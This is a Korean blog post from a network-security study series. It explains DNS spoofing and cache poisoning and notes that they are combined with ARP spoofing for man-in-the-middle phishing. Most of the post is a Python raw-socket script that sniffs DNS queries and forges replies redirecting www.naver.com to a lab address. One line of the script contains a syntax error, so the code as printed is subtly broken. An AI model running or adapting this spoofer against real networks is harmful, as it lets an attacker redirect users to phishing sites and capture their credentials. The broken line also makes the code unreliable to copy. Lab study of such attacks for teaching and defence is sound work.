DNS Spoofing 개념 및 DNS Spoofer를.py 이용한 실습에 대해서 정리한다.
DNS spoofing
- dns를 속이는 행위
- 도메인 이름에 대한 아이피 주소를 속이는 행위
1. DNS Cache Poisoning
- DNS Cache server를 대상으로 한다.
- 시험문제인 경우에만
2. DNS Cache Spoofing
* 1, 2번 모두 DNS Cache를 속이는 행위로 같은 개념이지만 시험일때는 서로 다른 개념으로 나오기 때문에 적어두었다.
출처: https://www.hackingloops.com/dns-spoofing/
( DNS Spoofing 개념 그림 )
DNS spoofing을 이용해 공격 할때는 ARP Spoofing을 이용해서 MITM을 같이 진행해준다.
* ARP Spoofing, flagrouter, DNS Spoofing 이 세가지를 이용해서 DNS Cache를 속여 피싱 같은 공격을 할 수 있다.
- DNS Spoofing
* DNS 응답 헤더를 조작하여 해당 도메인을 요청할때 DNS Cache server보다 더 빠르게
거짓된 도메인 ip를 보내서 해당 도메인의 ip를 속인다.
* 보통 피싱 사이트에서 이러한 공격 기법을 많이 사용한다.
dns_spoofer.py
import socket
import struct
import time
from header.packet import *
from header.eth import *
from header.ip import *
from header.udp import *
def make_chksum( header ):
size = len( header )
if size % 2:
header = header + b'\x00'
size = len( header )
size = size // 2
header = struct.unpack('!' + str(size) + 'H', header )
chksum = sum( header )
carry = chksum & 0xFF0000
carry = carry >> 16
while carry != 0:
chksum = chksum & 0xFFFF
chksum = chksum + carry
carry = chksum & 0xFF0000
carry = carry >> 16
chksum = chksum ^ 0xFFFF
return chksum
raw = socket.socket.( socket.PF_PACKET, socket.SOCK_RAW )
raw.bind( ('eth0', socket.SOCK_RAW) )
packet = ''
while True:
data, addr = raw.recvfrom( 65535 )
packet = Packet( data )
if packet.eth.type == 0x0800 and packet.ip.type == 17 and packet.udp.dst == 53:
name = packet.udp._data[12:]
name = name.split(b'\x00')
name = name[0]
domain = ''
for x in name:
if 48 <= x <= 57: domain += chr(x)
elif 65 <= x <= 90: domain += chr(x)
elif 97 <= x <= 122: domain += chr(x)
else: domain += '.'
domain = domain[1:]
print( domain )
if domain == 'www.naver.com':
eth = Eth()
ip = Ip()
udp = Udp()
dns = packet.udp._data[:2]
dns += b'\x81\x80'
dns += b'\x00\x01'
dns += b'\x00\x01'
dns += b'\x00\x00'
dns += b'\x00\x00'
dns += b'\x03www\x05naver\x03com\x00'
dns += b'\x00\x01'
dns += b'\x00\x01'
dns += b'\x12\x34\x56\x78'
dns += b'\x00\x04'
dns += b'\xc0\xa8\x06\xc8'
udp.src = packet.udp.dst
udp.dst = packet.udp.src
udp.length = 0
udp.chksum = 0
udp._data = dns
udp.length = len( udp.header )
ip.ver = 4
ip.length = 20
ip.service = 0
ip.total = 0
ip.id = 0x1234
ip.flag = 0
ip.offset = 0
ip.ttl = 64
ip.type = 17
ip.chksum = 0
ip.src = packet.ip.dst
ip.dst = packet.ip.src
ip.total = len( ip.header ) + len( udp.header )
ip.chksum = make_chksum( ip.header )
pseudo_header = ip._src + ip._dst + b'\x00' + ip._type + udp._length + udp.header
udp.chksum = make_chksum( pseudo_header )
eth.dst = packet.eth.src
eth.src = packet.eth.dst
eth.type = packet.eth.type
raw.send( eth.header + ip.header + udp.header )
( 정상적인 DNS Cache Server 를 이용하면 위처럼 정상적인 www.naver.com의 도메인 주소를 받아오고
DNS spoofer.py를 이용하면 www.naver.com의 도메인 주소가 스푸핑 되어
192.168.6.200으로 바뀌어 응답이 오는걸 보면서 DNS Spoofing 공격시 차이를 알수 있다 )
'프로그래밍 > NETWORK HACKING' 카테고리의 다른 글
[네트워크 보안] FTP 통신 동작 / ncat(netcat) (0) | 2017.07.29 |
---|---|
[네트워크 보안] DNS Spoofing 실습 / FTP 개념 및 서버 구축 (0) | 2017.07.28 |
[네트워크 보안] DNS header 구조 / 파이썬을 이용해 DNS 요청 보내서 응답 받아오기 (0) | 2017.07.26 |
[네트워크 보안] DNS 역질의 구조 설계 (0) | 2017.07.24 |
[네트워크 보안] DHCP 동작 및 역이용 스니핑 / DNS 개념 (0) | 2017.07.20 |
댓글